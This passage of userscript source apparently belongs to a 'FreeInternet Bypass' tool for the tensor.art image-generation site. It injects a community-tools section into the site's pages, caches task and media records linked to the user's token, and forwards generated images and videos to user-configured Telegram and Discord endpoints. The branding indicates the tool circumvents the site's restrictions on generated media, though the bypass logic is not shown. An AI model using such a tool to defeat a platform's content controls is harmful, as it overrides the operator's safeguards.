  const COMMUNITY_HOME_CACHE_KEY = 'freeBypassCommunityHomeToolsV1';
  const COMMUNITY_HOME_CACHE_TTL = 60 * 60 * 1000; // 1 hour
  let _communityHomeData = null;   // in-memory cache so re-injection after SPA re-render is instant
  let _communityHomeFetching = false; // guards parallel network requests only
  let _communityHomeObserver = null; // MutationObserver watching the stable outer wrapper

  function _buildCommunityToolCard(tool) {
    const showcase = (Array.isArray(tool.showcases) && tool.showcases.length)
      ? tool.showcases[0]
      : null;
    const imgUrl = showcase?.url || '';
    const isVideo = imgUrl.endsWith('.mp4') || (showcase?.contentRating ?? '').length === 0 && imgUrl.includes('.mp4');
    const ownerName = tool.owner?.name || tool.owner?.owner_name || 'Unknown';
    const ownerAvatar = tool.owner?.avatar || tool.owner?.owner_avatar || '';
    const toolName = tool.name || tool.workflowTemplateId;
    const runCount = tool.run_count ?? tool.runCount ?? 0;
    const recCount = tool.recommended_count ?? tool.recommendedCount ?? 0;
    const tid = tool.workflowTemplateId;
    const href = `/template/${encodeURIComponent(tid)}`;

    const a = document.createElement('a');
    a.href = href;
    a.className = 'group w-full bg-bg-on-secondary block rd-12 overflow-hidden transition cursor-pointer mb-8 lg:mb-12';
    a.style.cssText = 'text-decoration:none; display:block;';

    let mediaPart;
    if (imgUrl) {
      if (isVideo) {
        mediaPart = `<video class="w-full h-full relative" autoplay loop muted poster="" disablepictureinpicture playsinline style="object-fit:cover;object-position:center top;"><source src="${escapeHtml(imgUrl)}"></video>`;
      } else {
        mediaPart = `<img src="${escapeHtml(imgUrl)}" alt="${escapeHtml(toolName)}" style="width:100%;height:100%;object-fit:cover;object-position:center;" loading="lazy">`;
      }
    } else {
      mediaPart = `<div style="width:100%;height:100%;background:linear-gradient(135deg,#1e293b,#0f172a);display:flex;align-items:center;justify-content:center;"><i class="fas fa-wand-magic-sparkles" style="font-size:28px;color:rgba(99,102,241,0.5);"></i></div>`;
    }

    a.innerHTML = `
      <article class="relative">
        <div class="w-full relative aspect-[4/3]">
          <div class="relative w-full h-full overflow-hidden" style="aspect-ratio:4/3;">
            ${mediaPart}
          </div>
          <div class="invisible group-hover:visible absolute top-0 left-0 bottom-0 right-0 bg-[rgba(0,0,0,0.25)]"></div>
          <div class="invisible group-hover:visible absolute top-0 left-0 p-12 flex gap-8 z-2" style="align-items:center;">
            ${ownerAvatar ? `<div style="width:24px;height:24px;border-radius:50%;overflow:hidden;flex-shrink:0;"><img src="${escapeHtml(ownerAvatar)}" width="24" alt="${escapeHtml(ownerName)}" referrerpolicy="unsafe-url" crossorigin="anonymous" loading="lazy" style="width:100%;height:100%;object-fit:cover;"></div>` : ''}
            <div class="text-14 lh-20 c-white" style="overflow:hidden;white-space:nowrap;text-overflow:ellipsis;">${escapeHtml(ownerName)}</div>
          </div>
          <div class="absolute bottom-0 left-0 z-10 p-12 w-full" style="background:linear-gradient(to top,rgba(0,0,0,0.85) 0%,transparent 100%);padding-top:32px;">
            <div style="display:flex;align-items:center;justify-content:space-between;gap:8px;">
              <h3 class="ta-title-16 c-white" style="flex:1;margin:0;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-size:14px;font-weight:700;" title="${escapeHtml(toolName)}">${escapeHtml(toolName)}</h3>
              <div style="display:flex;align-items:center;font-size:12px;color:rgba(255,255,255,0.9);gap:10px;flex-shrink:0;">
                <span title="Run count"><i class="fas fa-play" style="margin-right:3px;"></i>${Number(runCount).toLocaleString()}</span>
                <span title="Recommendations" style="color:#a5f3de;"><i class="fas fa-thumbs-up" style="margin-right:3px;"></i>${Number(recCount).toLocaleString()}</span>
              </div>
            </div>
            <div class="invisible group-hover:visible" style="height:auto;margin-top:8px;">
              <div style="display:inline-flex;align-items:center;justify-content:center;padding:6px 12px;border-radius:8px;background:rgba(99,102,241,0.9);color:#fff;font-size:12px;font-weight:700;width:100%;">
                <i class="fas fa-play" style="margin-right:6px;"></i>Try
              </div>
            </div>
          </div>
        </div>
      </article>`;
    return a;
  }

  async function injectCommunityHomeSection() {
    // Already injected and still alive in DOM → nothing to do
    if (document.getElementById('fi-community-home-section')) return;

    // ── Locate injection host ─────────────────────────────────────────────────
    // Primary host: <div class="mx-16 md:mx-0">  (inner, gets re-rendered by Vue)
    // Stable outer:  <div class="md:mr-24 pt-12 ..."> (outer wrapper, rarely replaced)
    const _findHost = () =>
      document.querySelector('div.mx-16.md\\:mx-0') ||
      document.querySelector('div.mx-16') ||
      (() => { for (const d of document.querySelectorAll('div')) if (d.classList.contains('mx-16')) return d; return null; })();

    const host = _findHost();
    if (!host) return; // host not rendered yet — 500ms interval will retry

    // ── Resolve tools: memory → localStorage → nothing ───────────────────────
    let tools = _communityHomeData;
    if (!tools) {
      try {
        const stored = localStorage.getItem(COMMUNITY_HOME_CACHE_KEY);
        if (stored) {
          const parsed = JSON.parse(stored);
          if (parsed?.at && (Date.now() - parsed.at) < COMMUNITY_HOME_CACHE_TTL
              && Array.isArray(parsed.data) && parsed.data.length) {
            tools = parsed.data;
            _communityHomeData = tools;
          }
        }
      } catch { /* ignore */ }
    }

    // ── Build & inject section synchronously ─────────────────────────────────
    const _buildSection = () => {
      const section = document.createElement('section');
      section.id = 'fi-community-home-section';
      section.className = 'flex flex-col gap-16';
      section.style.cssText = 'margin-bottom: 32px;';

      const hdiv = document.createElement('div');
      hdiv.className = 'flex-c';
      hdiv.innerHTML = `<h2 class="c-text-primary text-32 fw-600 lh-38" style="font-size:24px;font-weight:700;margin:0;">FreeInternet Community AI Tools</h2>`;
      section.appendChild(hdiv);

      const grid = document.createElement('div');
      grid.className = 'fi-community-grid flex-1 grid gap-x-8 lg:gap-x-12';
      grid.style.cssText = 'display:grid; grid-template-columns:repeat(auto-fill,minmax(200px,1fr)); gap:8px 12px; overflow:hidden;';
      section.appendChild(grid);

      const footer = document.createElement('div');
      footer.className = 'flex-c-c';
      footer.innerHTML = `<a href="https://tensor.art/notifications?type=COMMUNITY" style="text-decoration:none;"><button class="vi-button vi-button--size-large vi-button--type-primary-outline" style="min-width:268px;" type="button"><div class="vi-button__wrap">View All FreeInternet Community AI Tools</div></button></a>`;
      section.appendChild(footer);
      return { section, grid };
    };

    const _doInject = (targetHost) => {
      // Double-check not already present
      if (document.getElementById('fi-community-home-section')) return;
      const { section, grid } = _buildSection();
      targetHost.insertBefore(section, targetHost.firstChild);
      if (_communityHomeData?.length) {
        _renderCommunityHomeGrid(grid, _communityHomeData);
      } else {
        grid.innerHTML = `<div style="grid-column:1/-1;text-align:center;padding:32px;color:rgba(148,163,184,0.6);font-size:13px;"><i class="fas fa-spinner fa-spin" style="margin-right:8px;"></i>Loading community tools…</div>`;
      }
    };

    _doInject(host);

    // ── MutationObserver: re-inject if section disappears ────────────────────
    // Watch the stable OUTER wrapper (parent of mx-16 div). When Vue replaces the
    // inner mx-16 div, our section is removed, and the observer re-injects instantly.
    const stableAnchor = host.parentElement || host;
    if (_communityHomeObserver) {
      _communityHomeObserver.disconnect();
      _communityHomeObserver = null;
    }
    _communityHomeObserver = new MutationObserver(() => {
      if (!settings.communityShareEnabled || !settings.communityShowOnHome) return;
      if (document.getElementById('fi-community-home-section')) return;
      // Host may have been replaced — re-find it
      const newHost = _findHost();
      if (newHost) _doInject(newHost);
    });
    _communityHomeObserver.observe(stableAnchor, { childList: true, subtree: true });

    // ── Background fetch (one at a time) ─────────────────────────────────────
    if (!_communityHomeFetching) {
      _communityHomeFetching = true;
      communityFetchTools(false).then(fresh => {
        if (fresh?.length) {
          _communityHomeData = fresh;
          try {
            localStorage.setItem(COMMUNITY_HOME_CACHE_KEY, JSON.stringify({ at: Date.now(), data: fresh }));
          } catch { /* ignore */ }
          const liveSection = document.getElementById('fi-community-home-section');
          if (liveSection) {
            const liveGrid = liveSection.querySelector('.fi-community-grid');
            if (liveGrid) _renderCommunityHomeGrid(liveGrid, fresh);
          }
        }
      }).catch(() => { /* keep cached view */ })
        .finally(() => { _communityHomeFetching = false; });
    }
  }

  function _renderCommunityHomeGrid(grid, toolList) {
    grid.innerHTML = '';
    const toShow = toolList.slice(0, 8);
    if (!toShow.length) {
      grid.innerHTML = `<div style="grid-column:1/-1;text-align:center;padding:32px;color:rgba(148,163,184,0.6);font-size:13px;"><i class="fas fa-inbox" style="font-size:22px;display:block;margin-bottom:10px;opacity:0.4;"></i>No community tools yet.</div>`;
      return;
    }
    toShow.forEach(tool => grid.appendChild(_buildCommunityToolCard(tool)));
  }

  function recordTaskData(task) {
    if (!task) return;
    const taskId = task.taskId || '';
    const routeId = task.routeId || '';
    const taskData = {
      taskId,
      routeId,
      createdAt: task.createdAt || null,
      expireAt: task.expireAt || null,
      userId: task.userId || null,
      status: task.status || null,
      workspaceType: task.workspaceType || null,
      workflowInfo: task.workflowInfo || null,
      workflowTemplateInfo: task.workflowTemplateInfo || null,
      visualParameters: Array.isArray(task.visualParameters) ? task.visualParameters : [],
      parameters: task.parameters || null,
      mediaFlags: task.mediaFlags || null,
      raw: task,
      items: Array.isArray(task.items) ? task.items : [],
      source: task.source || 'tensor.art', // Track task source (tensor.art or tensorhub.art)
      recordedAt: task.recordedAt || Date.now()
    };

    if (taskId) taskMap.set(taskId, taskData);
    if (routeId) taskMap.set(routeId, taskData);

    // Associate task with current user token
    if (userToken && taskId) {
      associateTaskWithAccount(userToken, taskId, taskData);
    }

    taskData.items.forEach(item => {
      if (!item?.imageId) return;
      itemMap.set(item.imageId, {
        imageId: item.imageId,
        taskId,
        routeId,
        invalid: item.invalid,
        mimeType: item.mimeType,
        url: item.url,
        width: item.width,
        height: item.height,
        seed: item.seed,
        downloadFileName: item.downloadFileName,
        workflowTemplateInfo: task.workflowTemplateInfo || null,
        workflowInfo: task.workflowInfo || null,
        visualParameters: Array.isArray(task.visualParameters) ? task.visualParameters : [],
        parameters: task.parameters || null,
        workspaceType: task.workspaceType || null,
        rawTask: task,
        source: task.source || 'tensor.art'
      });
    });
  }

  function extractLongIdTokens(text) {
    if (!text) return [];
    const matches = String(text).match(/\b\d{16,32}\b/g);
    return matches ? Array.from(new Set(matches)) : [];
  }

  function extractTaskIdCandidatesFromDetails(detailsBlock) {
    if (!detailsBlock) return [];
    const candidates = [];
    const pushCandidates = (value) => {
      extractLongIdTokens(value).forEach(id => {
        if (!candidates.includes(id)) candidates.push(id);
      });
    };

    // 1) High-confidence: rows explicitly labeled Task ID / Route ID / ID.
    const rows = Array.from(detailsBlock.querySelectorAll('div'));
    for (const row of rows) {
      const text = row.textContent || '';
      if (!/(^|\b)(task\s*id|route\s*id|id)\b/i.test(text)) continue;

      const spans = Array.from(row.querySelectorAll('span'));
      spans.forEach(span => pushCandidates(span.textContent || ''));
      pushCandidates(text);
    }

    // 2) Monospace value containers often hold the actual ID.
    const monoNodes = Array.from(detailsBlock.querySelectorAll('span.font-mono, .font-mono'));
    monoNodes.forEach(node => pushCandidates(node.textContent || ''));

    // 3) Attribute-based fallback.
    [
      detailsBlock.getAttribute('data-task-id'),
      detailsBlock.getAttribute('data-route-id'),
      detailsBlock.getAttribute('data-id'),
      detailsBlock.closest('[data-task-id]')?.getAttribute('data-task-id'),
      detailsBlock.closest('[data-route-id]')?.getAttribute('data-route-id')
    ].forEach(value => pushCandidates(value || ''));

    // 4) Pattern fallback inside details text (only if tied to ID labels).
    const labelPattern = /(task\s*id|route\s*id|\bid\b)\D{0,20}(\d{16,32})/ig;
    const blockText = detailsBlock.textContent || '';
    let match;
    while ((match = labelPattern.exec(blockText)) !== null) {
      if (match[2]) pushCandidates(match[2]);
    }

    return candidates;
  }

  function isLikelyDetailsBlock(detailsBlock) {
    if (!detailsBlock) return false;
    const hasDetailsHeading = Array.from(detailsBlock.querySelectorAll('h4, h3, span'))
      .some(node => /details/i.test(node.textContent || ''));
    const hasTaskIdLabel = Array.from(detailsBlock.querySelectorAll('span, div'))
      .some(node => /task\s*id/i.test(node.textContent || ''));
    return hasDetailsHeading || hasTaskIdLabel;
  }

  function buildTaskLookupVariants(taskId) {
    const raw = String(taskId || '').trim();
    if (!raw) return [];
    const variants = [];
    const add = (value) => {
      const v = String(value || '').trim();
      if (!v) return;
      if (!variants.includes(v)) variants.push(v);
    };

    add(raw);

    // Route ID is often taskId + 4-digit suffix (e.g. ...0032).
    if (/^\d{20,32}$/.test(raw)) {
      add(raw.slice(0, -4));
      add(raw.slice(0, 18));
    }

    if (/^\d{18}$/.test(raw)) {
      add(`${raw}0032`);
    }

    return variants;
  }

  function extractTaskIdFromDetails(detailsBlock) {
    const candidates = extractTaskIdCandidatesFromDetails(detailsBlock);
    return candidates[0] || null;
  }

  function extractTaskIdFromHeaderText(text) {
    if (!text) return null;
    const match = text.match(/ID:\s*(\d{6,})/i);
    return match ? match[1] : null;
  }

  function resolveTaskData(taskId) {
    if (!taskId) return null;
    const lookupVariants = buildTaskLookupVariants(taskId);

    for (const variant of lookupVariants) {
      const direct = taskMap.get(variant);
      if (direct) return direct;
    }

    // Fuzzy match against known keys (taskId/routeId)
    const lookupSet = new Set(lookupVariants.length ? lookupVariants : [String(taskId)]);
    for (const [key, value] of taskMap.entries()) {
      if (!key) continue;
      for (const variant of lookupSet) {
        if (variant.startsWith(key) || key.startsWith(variant)) {
          return value;
        }
      }
    }

    return null;
  }

  function findCachedTaskByAnyId(taskId, cachedTasks = []) {
    if (!taskId || !Array.isArray(cachedTasks) || !cachedTasks.length) return null;
    const variants = buildTaskLookupVariants(taskId);
    for (const task of cachedTasks) {
      if (!task) continue;
      const taskKey = String(task.taskId || '').trim();
      const routeKey = String(task.routeId || '').trim();
      for (const variant of variants) {
        if (!variant) continue;
        if (variant === taskKey || variant === routeKey) return task;
        if (taskKey && (variant.startsWith(taskKey) || taskKey.startsWith(variant))) return task;
        if (routeKey && (variant.startsWith(routeKey) || routeKey.startsWith(variant))) return task;
      }
    }
    return null;
  }

  async function ensureDownloadUrl(imageId, mimeTypeHint = '', options = {}) {
    if (!imageId) return null;

    // Make sure persisted cache entries are available before attempting resolution.
    loadDownloadUrlCacheFromStorage();

    const cacheKey = getDownloadCacheKey(imageId, mimeTypeHint, options.forceKind || '');
    const bypassCache = !!options.bypassCache;
    const minExpiryMs = Math.max(0, Number(options?.minExpiryMs) || 0);

    if (!bypassCache) {
      const existing = getCachedDownloadUrl(imageId, mimeTypeHint, options.forceKind || '');
      if (existing && (!minExpiryMs || isUsableBypassMediaUrl(existing, { minRemainingMs: minExpiryMs }))) {
        if (domInjectDebug) console.log('[Cache] Using cached URL for', { imageId, cacheKey });
        return existing;
      }
      if (existing && minExpiryMs) {
        deleteCachedDownloadUrl(imageId);
      }
    }

    try {
      const url = await resolveDownloadUrl(imageId, mimeTypeHint, options);
      if (url) {
        setCachedDownloadUrl(imageId, url, mimeTypeHint, options.forceKind || '');
      }
      return url;
    } catch (err) {
      console.warn('Failed to fetch download URL for', imageId, err);
      devLog('download', 'Failed to fetch download URL', { imageId, error: String(err?.stack || err) }, 'error', 'developer');
      return null;
    }
  }

  async function sendToTelegram(mediaUrl, mediaType, taskId, createdAt, imageSize, imageId = null, extraInfo = {}) {
    if (!settings.telegramEnabled || !settings.telegramToken || !settings.telegramChatId) {
      console.warn('[Telegram] Telegram not configured');
      devLog('telegram', 'Telegram not configured (skipped send)', { enabled: !!settings.telegramEnabled, hasToken: !!settings.telegramToken, hasChatId: !!settings.telegramChatId }, 'warning', 'developer');
      return { ok: false, mode: 'error', error: 'Telegram not configured' };
    }

    const delayMs = Math.max(0, Number(settings.telegramDelaySeconds) || 0) * 1000;
    if (delayMs > 0) {
      await sleep(delayMs);
    }

    const caption = buildTelegramCaption(taskId, createdAt, imageSize, extraInfo);
    const keyForStatus = imageId || taskId || mediaUrl;

    const sendMessageFallback = async (reason = '', retryAfterMs = null) => {
      const urlHtml = `<a href="${escapeHtml(mediaUrl)}">Open media</a>`;
      const text = `${caption}${reason ? `\n\n<b>Note:</b> ${escapeHtml(reason)}` : ''}\n\n${urlHtml}`;
      const response = await fetch(`https://api.telegram.org/bot${settings.telegramToken}/sendMessage`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          chat_id: settings.telegramChatId,
          text,
          parse_mode: 'HTML',
          disable_web_page_preview: true
        })
      });
      if (response.ok) {
        updateMediaStatus(keyForStatus, { telegram: true });
        return { ok: true, mode: 'url', retryAfterMs: null };
      }
      const { json, text: bodyText } = await tryReadJsonSafe(response);
      const retryAfter = Number(json?.parameters?.retry_after);
      const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : retryAfterMs;
      devLog('telegram', 'Telegram URL fallback failed', { status: response.status, statusText: response.statusText, body: bodyText, taskId, imageId }, 'error', 'developer');
      return { ok: false, mode: 'error', error: `Telegram sendMessage failed: ${response.status} ${response.statusText}`, retryAfterMs: retryMs || null };
    };

    const sendDocumentByUpload = async () => {
      try {
        const controller = new AbortController();
        const timeout = setTimeout(() => controller.abort(), 30000);
        const resp = await fetch(mediaUrl, { signal: controller.signal });
        clearTimeout(timeout);

        if (!resp.ok) {
          return { ok: false, mode: 'error', error: `Upload fetch failed: ${resp.status} ${resp.statusText}`, retryAfterMs: null };
        }

        const blob = await resp.blob();
        if (!blob || !Number.isFinite(blob.size)) {
          return { ok: false, mode: 'error', error: 'Upload fetch failed: invalid blob', retryAfterMs: null };
        }

        const maxBytes = clampNumber(settings.telegramMaxUploadBytes, 1 * 1024 * 1024, 2048 * 1024 * 1024, 45 * 1024 * 1024);
        if (blob.size > maxBytes) {
          return { ok: false, mode: 'error', error: `File too large for Telegram upload (${Math.round(blob.size / (1024 * 1024))}MB > ${Math.round(maxBytes / (1024 * 1024))}MB)`, retryAfterMs: null };
        }

        const ext = extFromMime(mediaType) || guessExtension(mediaType, mediaUrl) || 'bin';
        const safeId = imageId || taskId || Date.now();
        const fileName = `bypass_${safeId}.${ext}`;

        const formData = new FormData();
        formData.append('chat_id', settings.telegramChatId);
        formData.append('caption', caption);
        formData.append('parse_mode', 'HTML');
        formData.append('document', blob, fileName);

        const sendResp = await fetch(`https://api.telegram.org/bot${settings.telegramToken}/sendDocument`, {
          method: 'POST',
          body: formData
        });

        if (sendResp.ok) {
          updateMediaStatus(keyForStatus, { telegram: true });
          return { ok: true, mode: 'media', retryAfterMs: null };
        }

        const { json, text } = await tryReadJsonSafe(sendResp);
        const retryAfter = Number(json?.parameters?.retry_after);
        const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : null;
        devLog('telegram', 'Telegram upload sendDocument failed', { status: sendResp.status, statusText: sendResp.statusText, body: text, taskId, imageId }, sendResp.status === 429 ? 'warning' : 'error', 'developer');
        return { ok: false, mode: 'error', error: `Telegram upload failed: ${sendResp.status} ${sendResp.statusText}`, retryAfterMs: retryMs };
      } catch (err) {
        devLog('telegram', 'Telegram upload threw an error', { error: String(err?.stack || err), taskId, imageId }, 'warning', 'developer');
        return { ok: false, mode: 'error', error: `Telegram upload error: ${String(err?.message || err)}`, retryAfterMs: null };
      }
    };

    try {
      const response = await fetch(`https://api.telegram.org/bot${settings.telegramToken}/sendDocument`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          chat_id: settings.telegramChatId,
          document: mediaUrl,
          caption,
          parse_mode: 'HTML'
        })
      });

      if (response.ok) {
        if (domInjectDebug) console.log('[Telegram] Media sent successfully');
        updateMediaStatus(keyForStatus, { telegram: true });
        return { ok: true, mode: 'media', retryAfterMs: null };
      }

      const { json, text: bodyText } = await tryReadJsonSafe(response);
      const retryAfter = Number(json?.parameters?.retry_after);
      const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : null;
      devLog('telegram', 'Telegram sendDocument failed', { status: response.status, statusText: response.statusText, body: bodyText, taskId, imageId }, response.status === 429 ? 'warning' : 'warning', 'developer');

      // If Telegram can't fetch a protected/signed URL, upload fallback is more reliable than a plain URL message.
      if (settings.telegramUploadMode === 'always' || settings.telegramUploadMode === 'fallback') {
        const uploadResult = await sendDocumentByUpload();
        if (uploadResult?.ok) return uploadResult;
        if (uploadResult?.retryAfterMs) return uploadResult;
      }

      return await sendMessageFallback('Media send failed; sending URL instead.', retryMs);
    } catch (err) {
      console.warn('[Telegram] Error:', err);
      devLog('telegram', 'Telegram send threw an error (fallback to URL)', { error: String(err?.stack || err), taskId, imageId }, 'warning', 'developer');

      if (settings.telegramUploadMode === 'always') {
        const uploadResult = await sendDocumentByUpload();
        if (uploadResult?.ok) return uploadResult;
      }

      return await sendMessageFallback('Media send threw an error; sending URL instead.');
    }
  }

  function buildTelegramCaption(taskId, createdAt, imageSize, extraInfo = {}) {
    let caption = '<b>BypassInternet</b>\n\n';

    if (settings.telegramIncludeData.toolName) {
      caption += '<b>Tool:</b> FREEInternet-Bypass\n';
    }
    if (settings.telegramIncludeData.taskId && taskId) {
      caption += `<b>Task ID:</b> <code>${taskId}</code>\n`;
    }
    if (settings.telegramIncludeData.date && createdAt) {
      const date = new Date(normalizeTimestamp(createdAt));
      caption += `<b>Created:</b> ${date.toLocaleString()}\n`;
    }
    if (settings.telegramIncludeData.imageSize && imageSize) {
      caption += `<b>Size:</b> ${imageSize}\n`;
    }
    if (extraInfo?.workspaceType) {
      caption += `<b>Creation:</b> ${escapeHtml(String(extraInfo.workspaceType).replace(/_/g, ' '))}\n`;
    }
    if (extraInfo?.templateName) {
      caption += `<b>Template:</b> ${escapeHtml(extraInfo.templateName)}\n`;
    }
    if (extraInfo?.templateId) {
      caption += `<b>Template ID:</b> <code>${escapeHtml(extraInfo.templateId)}</code>\n`;
    }

    return caption;
  }

  async function sendToDiscord(mediaUrl, mediaType, taskId, createdAt, imageSize, imageId = null, extraInfo = {}) {
    if (!settings.discordEnabled || !settings.discordWebhook) {
      if (domInjectDebug) console.log('[Discord] Disabled or no webhook configured');
      devLog('discord', 'Discord not configured (skipped send)', { enabled: !!settings.discordEnabled, hasWebhook: !!settings.discordWebhook }, 'warning', 'developer');
      return { ok: false, mode: 'error', error: 'Discord not configured' };
    }

    try {
      const isVideo = mediaType === 'video' || (typeof mediaType === 'string' && mediaType.startsWith('video/'));
      const scriptName = remoteConfig?.script?.display_name || 'FreeInternet Bypass';
      const embed = {
        title: `${isVideo ? 'Video' : 'Image'} Bypassed ${isVideo ? 'Video' : 'Image'}`,
        description: scriptName,
        color: 0x6366f1,
        fields: [],
        timestamp: new Date().toISOString(),
        footer: {
          text: 'FREEInternet-Bypass'
        }
      };

      if (taskId) {
        embed.fields.push({ name: 'Task ID', value: `\`${taskId}\``, inline: true });
      }
      if (createdAt) {
        const date = new Date(normalizeTimestamp(createdAt));
        embed.fields.push({ name: 'Created', value: date.toLocaleString(), inline: true });
      }
      if (imageSize) {
        embed.fields.push({ name: 'Size', value: imageSize, inline: true });
      }
      embed.fields.push({ name: '🔧 Tool', value: 'FREEInternet-Bypass', inline: true });
      if (extraInfo?.workspaceType) {
        embed.fields.push({ name: 'Creation', value: String(extraInfo.workspaceType).replace(/_/g, ' '), inline: true });
      }
      if (extraInfo?.templateName) {
        embed.fields.push({ name: 'Template', value: extraInfo.templateName, inline: false });
      }
      if (extraInfo?.templateId) {
        embed.fields.push({ name: 'Template ID', value: `\`${extraInfo.templateId}\``, inline: true });
      }

      const payload = {
        embeds: [embed]
      };

      const parseDiscordRateLimit = async (response) => {
        const { json, text } = await tryReadJsonSafe(response);
        const retryAfter = Number(json?.retry_after);
        const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : null;
        return { retryAfterMs: retryMs, bodyText: text };
      };

      // Try to send the file directly
      const formData = new FormData();
      try {
        const mediaBlob = await fetch(mediaUrl).then(r => r.blob());
        const uploadExt = extFromMime(mediaType) || (isVideo ? 'mp4' : 'png');
        const fileName = `bypass_${taskId || Date.now()}.${uploadExt}`;
        formData.append('file', mediaBlob, fileName);
        formData.append('payload_json', JSON.stringify(payload));

        const response = await fetch(settings.discordWebhook, {
          method: 'POST',
          body: formData
        });

        if (response.ok) {
          if (domInjectDebug) console.log('[Discord] Media sent successfully');
          updateMediaStatus(imageId || taskId || mediaUrl, { discord: true });
          return { ok: true, mode: 'media', retryAfterMs: null };
        }

        if (response.status === 429) {
          const { retryAfterMs, bodyText } = await parseDiscordRateLimit(response);
          devLog('discord', 'Discord rate-limited (upload)', { status: response.status, body: bodyText, taskId, imageId }, 'warning', 'developer');
          return { ok: false, mode: 'error', error: 'Discord rate-limited (upload)', retryAfterMs: retryAfterMs || null };
        }
      } catch (err) {
        if (domInjectDebug) console.warn('[Discord] File upload failed, sending URL:', err);
        devLog('discord', 'Discord file upload failed (fallback to URL)', { error: String(err?.stack || err), taskId, imageId }, 'warning', 'developer');
      }

      // Fallback: send URL in embed
      embed.fields.push({ name: 'Media URL', value: mediaUrl, inline: false });
      const response = await fetch(settings.discordWebhook, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload)
      });

      if (response.ok) {
        if (domInjectDebug) console.log('[Discord] URL sent successfully');
        updateMediaStatus(imageId || taskId || mediaUrl, { discord: true });
        return { ok: true, mode: 'url', retryAfterMs: null };
      } else {
        let bodyText = '';
        let retryAfterMs = null;
        if (response.status === 429) {
          const parsed = await parseDiscordRateLimit(response);
          bodyText = parsed.bodyText;
          retryAfterMs = parsed.retryAfterMs;
        } else {
          try { bodyText = await response.text(); } catch { /* ignore */ }
        }
        if (domInjectDebug) console.warn('[Discord] Send failed');
        devLog('discord', 'Discord webhook send failed', { status: response.status, statusText: response.statusText, body: bodyText, taskId, imageId }, 'error', 'developer');
        return { ok: false, mode: 'error', error: `Discord send failed: ${response.status} ${response.statusText}`, retryAfterMs: retryAfterMs || null };
      }
    } catch (err) {
      console.warn('[Discord] Error:', err);
      devLog('discord', 'Discord send threw an error', { error: String(err?.stack || err), taskId, imageId }, 'error', 'developer');
      return { ok: false, mode: 'error', error: String(err?.message || err), retryAfterMs: null };
    }
  }

  function loadMediaStatus() {
    if (mediaStatusCache) return mediaStatusCache;
    try {
      mediaStatusCache = JSON.parse(localStorage.getItem(MEDIA_STATUS_KEY) || '{}');
    } catch {
      mediaStatusCache = {};
    }
    return mediaStatusCache;
  }

  function saveMediaStatus() {
    localStorage.setItem(MEDIA_STATUS_KEY, JSON.stringify(mediaStatusCache || {}));
  }

  function loadAnnouncementCache() {
    if (announcementCache) return announcementCache;
    try {
      announcementCache = JSON.parse(localStorage.getItem(ANNOUNCEMENT_CACHE_KEY) || '{}');
    } catch {
      announcementCache = {};
    }
    return announcementCache;
  }

  function safeLocalStorageSet(key, value) {
    try {
      localStorage.setItem(key, value);
      return true;
    } catch (err) {
      // localStorage can fail (quota exceeded) because this script stores a lot of cached task/item data.
      // Try to free a little space from non-critical caches and retry.
      try {
        localStorage.removeItem(CONFIG_CACHE_KEY);
      } catch { /* ignore */ }
      try {
        localStorage.removeItem(ANNOUNCEMENT_CACHE_KEY);
      } catch { /* ignore */ }
      try {
        localStorage.setItem(key, value);
        return true;
      } catch (err2) {
        console.warn('[Storage] Failed to persist key:', key, err2);
        return false;
      }
    }
  }

  function saveAnnouncementCache() {
    safeLocalStorageSet(ANNOUNCEMENT_CACHE_KEY, JSON.stringify(announcementCache || {}));
  }

  function loadServicesState() {
    if (servicesStateCache) return servicesStateCache;
    try {
      servicesStateCache = JSON.parse(localStorage.getItem(SERVICES_STATE_KEY) || '{}');
    } catch {
      servicesStateCache = {};
    }
    if (!servicesStateCache || typeof servicesStateCache !== 'object') servicesStateCache = {};
    if (servicesStateCache.v !== 1) {
      // Simple forward-compat: keep whatever is there but normalize the shape.
      servicesStateCache = { v: 1, updatedAt: Date.now(), items: servicesStateCache.items && typeof servicesStateCache.items === 'object' ? servicesStateCache.items : {} };
    }
    if (!servicesStateCache.items || typeof servicesStateCache.items !== 'object') servicesStateCache.items = {};
    return servicesStateCache;
  }

  function saveServicesState() {
    const state = loadServicesState();
    state.updatedAt = Date.now();
    safeLocalStorageSet(SERVICES_STATE_KEY, JSON.stringify(state));
  }

  function getServiceLocalState(serviceId) {
    if (!serviceId) return {};
    const state = loadServicesState();
    const entry = state.items[String(serviceId)] || {};
    return entry && typeof entry === 'object' ? entry : {};
  }

  function patchServiceLocalState(serviceId, patch = {}) {
    if (!serviceId) return;
    const state = loadServicesState();
    const key = String(serviceId);
    const current = getServiceLocalState(key);
    state.items[key] = { ...current, ...(patch || {}), updatedAt: Date.now() };
    saveServicesState();
  }

  function getRemoteFeatureFlagEnableServices(config = remoteConfig) {
    return config?.configuration?.feature_flags?.enable_services === true;
  }

  function getRemoteServicesConfig(config = remoteConfig) {
    const raw = config?.services;
    const enabled = raw?.enabled === true;
    const items = Array.isArray(raw?.items) ? raw.items : [];
    return { enabled, items };
  }

  function getEnabledRemoteServices(config = remoteConfig) {
    const { enabled, items } = getRemoteServicesConfig(config);
    if (!enabled) return [];
    return items
      .filter(s => s && typeof s === 'object')
      .filter(s => (s.enabled !== false))
      .filter(s => typeof s.id === 'string' && s.id.trim() !== '')
      .map(s => ({
        id: String(s.id),
        type: String(s.type || 'app').toLowerCase(),
        title: String(s.title || s.name || s.id),
        version: s.version != null ? String(s.version) : '',
        required_update: !!(s.required_update || s.update_required),
        logo_url: typeof s.logo_url === 'string' ? s.logo_url : (typeof s.logo === 'string' ? s.logo : ''),
        download_url: typeof s.download_url === 'string' ? s.download_url : (typeof s.downloadUrl === 'string' ? s.downloadUrl : ''),
        source_url: typeof s.source_url === 'string' ? s.source_url : (typeof s.sourceUrl === 'string' ? s.sourceUrl : ''),
        description: s.description && typeof s.description === 'object' ? s.description : {
          html: typeof s.description_html === 'string' ? s.description_html : '',
          text: typeof s.description_text === 'string' ? s.description_text : (typeof s.description === 'string' ? s.description : '')
        }
      }))
      .sort((a, b) => a.title.localeCompare(b.title));
  }

